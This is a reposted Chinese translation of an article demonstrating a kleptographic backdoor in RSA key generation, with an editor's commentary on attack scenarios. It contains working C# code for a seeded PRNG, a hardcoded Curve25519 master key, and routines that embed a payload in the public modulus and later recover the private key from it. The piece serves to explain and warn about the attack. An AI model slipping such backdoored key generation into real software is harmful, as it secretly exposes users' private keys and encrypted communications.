原文:http://www.hackdig.com/?01/hack-17893.htm

分享到:

当我知道它是如何运行时,我惊得下巴都掉了。这是一个非常简单的手法,但这篇文章会颠覆你之前对RSA的看法。这并不是一种劫持RSA的方法,但它会为你的想象插上翅膀。

假设你可以修改RSA公钥的生成器,而且你想给别人拿到私钥的机会但不借助因式分解以及其他量子计算机的力量。你会怎么做?

我会用C#、BouncyCastle 以及Chaos.NaCl(这个库实现了Curve25519)。

1)伪随机数生成器(PRNG)

我们需要一个用私密值进行初始化的PRNG。我将会在CTR模式中使用AES。

using System;using System.ComponentModel;using Org.BouncyCastle.Crypto.Engines;using Org.BouncyCastle.Crypto.Parameters;using Org.BouncyCastle.Crypto.Prng;using Org.BouncyCastle.Security;namespace RsaBackdoor.Backdoor{    class SeededGenerator:IRandomGenerator    {        private readonly AesFastEngine _engine = new AesFastEngine();        private readonly byte[] _counter = new byte[16];        private readonly byte[] _buf = new byte[16];        private int bufOffset = 0;        public SeededGenerator(byte[] key)        {            _engine.Init(true, new KeyParameter(key));            MakeBytes();        }        private void MakeBytes()        {            bufOffset = 0;            _engine.ProcessBlock(_counter, 0, _buf, 0);            IncrementCounter();        }        public void IncrementCounter()        {            for (int i = 0; i < _counter.Length; i++)            {                _counter[i]++;                if (_counter[i] != 0)                    break;            }        }        public void AddSeedMaterial(byte[] seed)        {        }        public void AddSeedMaterial(long seed)        {        }        public void NextBytes(byte[] bytes)        {            NextBytes(bytes, 0, bytes.Length);        }        public void NextBytes(byte[] bytes, int start, int len)        {            var count = 0;            while (count < len)            {                var amount = Math.Min(_buf.Length - bufOffset, len - count);                Array.Copy(_buf, bufOffset, bytes, start + count, amount);                count += amount;                bufOffset += amount;                if (bufOffset >= _buf.Length)                {                    MakeBytes();                }            }        }    }}

2)   让我们回忆一下强大的Curve25519,也就是任何32位的序列对于私钥来说都是有效的。同时,公钥也是32位。让我们预先生成一下这个主密钥并且将它分配给一个常量:

private const string MY_PRIVATE_STR = "BDB440EBF1A77CFA014A9CD753F3F6335B1BCDD8ABE30049F10C44243BF3B6C8";private static readonly byte[] MY_PRIVATE = StringToByteArray(MY_PRIVATE_STR);

对于生成的每对RSA公钥,我们同时生成一对Curve25519随机密钥,然后从这对密钥以及我们的公钥中计算出共享的秘密和私钥。这个私密值是第一步中的PRNG。

PRNG的种子生成:

private void MakeSeedAndPayload(out byte[] seed, out byte[] payload){    var rnd = new SecureRandom();    var priv = new byte[32];    rnd.NextBytes(priv);    payload = MontgomeryCurve25519.GetPublicKey(priv);    seed = MontgomeryCurve25519.KeyExchange(payload, MY_PRIVATE);}

Curve25519的公钥将用于计算这个种子是一个有效负载。我们将试着把它放入RSA公钥。

3)通过PRNG以及我们的种子生成RSA密钥对。

var publicExponent = new BigInteger("10001", 16);var keygen = new RsaKeyPairGenerator();keygen.Init(new RsaKeyGenerationParameters(publicExponent, new SecureRandom(new SeededGenerator(seed)), 2048, 80));var pair = keygen.GenerateKeyPair();

可以说基于密钥的RSA总是两个质数p跟q。它们的产出叫做«modulus»,并且是公钥的一部分。在这种情况下,两个2048二进制数字会通过我们的PRNG进行搜索并且从中会搭建一个单独密钥对。

4)现在,用我们的有效负载来代替p*q系数中的一些字节。可以代替最高有效的字节,这样它们就不会被删除。80字节的偏移应该够了。

var paramz = ((RsaPrivateCrtKeyParameters) pair.Private);var modulus = paramz.Modulus.ToByteArray();Replace(modulus, payload, 80);

这样,我们拥有了一个新的n' 模数,并且需要重新生成余下的参数,将n' 考虑在内:

5.1) 计算新的q'。我们不知道在目前状况下会出现什么情况,但结果还不至于糟糕。

q' = n' / p

5.2)查找一个新的基于q'的质数。当我们找到它时,最低有效二进制数字将被删除。最高有效二进制数字不会变。这正是我们所需要的。

var p = paramz.P;var n = new BigInteger(modulus);var preQ = n.Divide(p);var q  = preQ.NextProbablePrime();

一旦我们有了新的q,我们会再次计算除了p之外的所有密钥对参数。

public AsymmetricCipherKeyPair ComposeKeyPair(BigInteger p, BigInteger q, BigInteger publicExponent){    if (p.Max(q).Equals(q))    {        var tmp = p;        p = q;        q = tmp;    }    var modulus = p.Multiply(q);    var p1 = p.Subtract(BigInteger.One);    var q1 = q.Subtract(BigInteger.One);    var phi = p1.Multiply(q1);    var privateExponent = publicExponent.ModInverse(phi);    var dP = privateExponent.Remainder(p1);    var dQ = privateExponent.Remainder(q1);    var qInv = q.ModInverse(p);    var priv =  new RsaPrivateCrtKeyParameters(modulus, publicExponent, privateExponent, p, q, dP, dQ, qInv);    return new AsymmetricCipherKeyPair(new RsaKeyParameters(false, priv.Modulus, publicExponent), priv);}

结果,我们得到了一个有效的密钥对,这个密钥对的公钥中包含我们的有效负载——即如何获取种子以及私钥本身的信息。

我们可以提取有效负载:

public byte[] ExtractPayload(RsaKeyParameters pub){    var modulus = pub.Modulus.ToByteArray();    var payload = new byte[32];    Array.Copy(modulus, 80, payload, 0, 32);    return payload;}

计算种子并将相同的流程再重复一次以便得到这个私钥:

public AsymmetricCipherKeyPair BuildKeyFromPayload(byte[] payload){    var seed = MontgomeryCurve25519.KeyExchange(payload, MY_PRIVATE);    return BuildKey(seed, payload);}

这样,通过拥有一个Curve25519的私钥,只有我们能够获取任何被装后门的RSA的一个私钥。

这能用在什么地方?任何地方!你将永远无法证明银行颁发给你的密钥对没有此类标记。想要证明是不可能的!所以,你可以自己生成密钥。因此,如果可能的话,要停止使用RSA。

源码在此

感谢https://gist.github.com/ryancdotorg提供的原始文件https://gist.github.com/ryancdotorg/18235723e926be0afbdd

小编解读:

作者没有指出这种攻击的详细攻击手段。这种攻击是生成看上去完全随机的RSA密钥对。但是公钥中存在信息可以令攻击者计算出私钥。存在两种攻击模式:

1. 如果你自己使用离线软件生成RSA密钥对,程序产生看上去是随机的密钥对。你相信一个离线软件是不会泄漏你的私钥,因此你公布你的公钥来给其他人用来验证你的签名。攻击者就可以根据你公开的公钥算出私钥。他们就可以用这个私钥做任何事。

2. 假如说NSA要求SSL证书提供商在key生成算法中加入后门。这个是很容易的,不需要跟NSA有任何联系。NSA只需“看一眼”公钥证书就能计算出私钥证书。所有通过SSL加密的通讯在攻击者看来就是明文传输。

这种攻击攻击早在非对称算法初期就被发现。不只是RSA存在这个问题。所有算法都可以留后门。

本文由 360安全播报 翻译,转载请注明“转自360安全播报”,并附上链接。
原文链接:http://kukuruku.co/hub/infosec/backdoor-in-a-public-rsa-key

转载于:https://www.cnblogs.com/javaeye235/p/7943014.html

你竟然在公钥中下毒!——如何在RSA公钥中添加后门相关推荐

  1. java pdf添加透明水印_如何在PDF文件中添加透明水印

    原标题:如何在PDF文件中添加透明水印 有些文件添加水印,但是又不想水印影响文件的使用有时候会设置透明水印,那么PDF怎么设置透明水印呢,应该有很多的小伙伴们都很好奇应该怎么做吧,接下来就为大家分享一 ...

  2. Latex标题页上标和脚注的处理方法 如何在latex文件中添加footnote

    我们看看TeX怎么在文中加脚注的. 一般格式是: \footnote[num]{内容} 其中[num]是可选项, 如果省略, 则自动给该页脚注排序, 从1开 始标号. footnote只能用于普通正文 ...

  3. 计算机利用公式计算实发工资怎么弄,如何在excel 表中 添加税收计算程序?excle中计算税收的公式...

    Excel新个税的计算公式 =ROUND(MAX((A2-5000)*{0.03;0.1;0.2;0.25;0.3;0.35;0.45}-{0;210;1410;2660;4410;7160;1516 ...

  4. html表格标题中副标题,excel数据表格制作副标题-如何在excel图表中添加标题?

    如何为Excel2010图表添加标题 为Excel 2010版本的图表添加标题,具体方法: 1.点击表格就会出现"图表工具",切换到图表的"布局",点击[图表标 ...

  5. Microsoft Excel 教程「41」,如何在 Excel 图表中添加标题?

    欢迎观看 Microsoft Excel 教程,小编带大家学习 Microsoft Excel 的使用技巧,了解如何在 Excel 图表中添加标题. 若要使图表更易于理解,可以将图表标题和坐标轴标题添 ...

  6. 企业微信监控服务器数据接入,如何在alertmanager报警中添加企业微信监控报警

    如何在alertmanager报警中添加企业微信监控报警 发布时间:2020-06-17 15:19:06 来源:亿速云 阅读:535 作者:元一 栏目:云计算 Prometheus机器:172.27 ...

  7. 如何在app应用中添加支付宝支付功能

    推广排名q.q①⑨⑨⑦〇⑦④⑥*如何在app应用中添加支付宝支付功能 作为一枚普通的商户,或者 App 的开发人员,如何在对支付完全不了解的情况下,让 App 成功接入支付功能呢? 1)App 想接入 ...

  8. 在桌面上添加或删除计算机网络等图标,如何在Windows 10中添加或删除默认桌面图标...

    我们将看到如何在Windows 10中添加或 让我们开始吧: 在Windows 10设备中,选择"开始"按钮,然后选择"设置". 如何在Windows 10中添 ...

  9. 如何在word表格中添加删除线,划去不想要的部分?

    如何在word表格中添加删除线,划去不想要的部分? 一.在word的表格中不能直接添加删除线,只能先在excel表格中加上删除线,再复制到word表格中 二.excel表格中添加删除线: 右击选中需要 ...

  10. Microsoft Excel 教程:如何在 Excel 图表中添加或删除次坐标轴?

    欢迎观看 Microsoft Excel 教程,小编带大家学习 Microsoft Excel 的使用技巧,了解如何在 Excel 图表中添加或删除次坐标轴. 如果图表中的格式从数据系列到数据系列跨度 ...

最新文章

  1. 以太坊去中心化_开发以太坊去中心化投票应用程序的指南
  2. 超年轻!93年小伙已是985大学教授、博导!
  3. 点击form 表单中的button导致页面刷新问题
  4. 射频系统基础知识总结
  5. excel冻结窗口_excel成绩表怎么固定表头或者某一行?
  6. laravel重定向自定义显示提示消息
  7. Hadoop和Spark的异同
  8. 24.Yii 组件行为
  9. select标签multiple属性的使用方法
  10. 【1002】Eclipse安装(编程软件)、Eclipse创建第一Java项目、eclipse安装包
  11. Bpmn.js 中文文档(一)
  12. Ghostscript的介绍
  13. java c 日语一级,2017年职称日语C级考试语法知识强化题
  14. MES管理系统这5个模块,可保障板式定制家具的生产需求
  15. 让刷Q币者对爱机你无从下手
  16. 纯前端滑块拼图验证组件(多端兼容)
  17. js模仿QQ头像资料卡显示与隐藏
  18. java实现24点经典游戏
  19. Swift Core Graphics教程之Gradients 与 Context
  20. TSP问题的解法(java版)

热门文章

  1. Visual Studio 2019 16.2.2 发布
  2. 在CentOS上的Docker私有注册表
  3. Odoo12中删除无效项目
  4. 40岁的程序员还能找到工作吗_学会了Vue就能找到前端工作吗
  5. 计算营业额python_ARIMA时间序列分析-----Python实例(一周销售营业额预测)
  6. css修改图片形状,css定位图形改(原创)
  7. python没有requests模块_python没有名为“requests”的模块
  8. 服务器修改文件句柄数,请问如何修改文件最大句柄数?
  9. MVVM 自动生成编号
  10. cs0246未能找到类型或命名空间名_实用小工具之整理标题及数据类型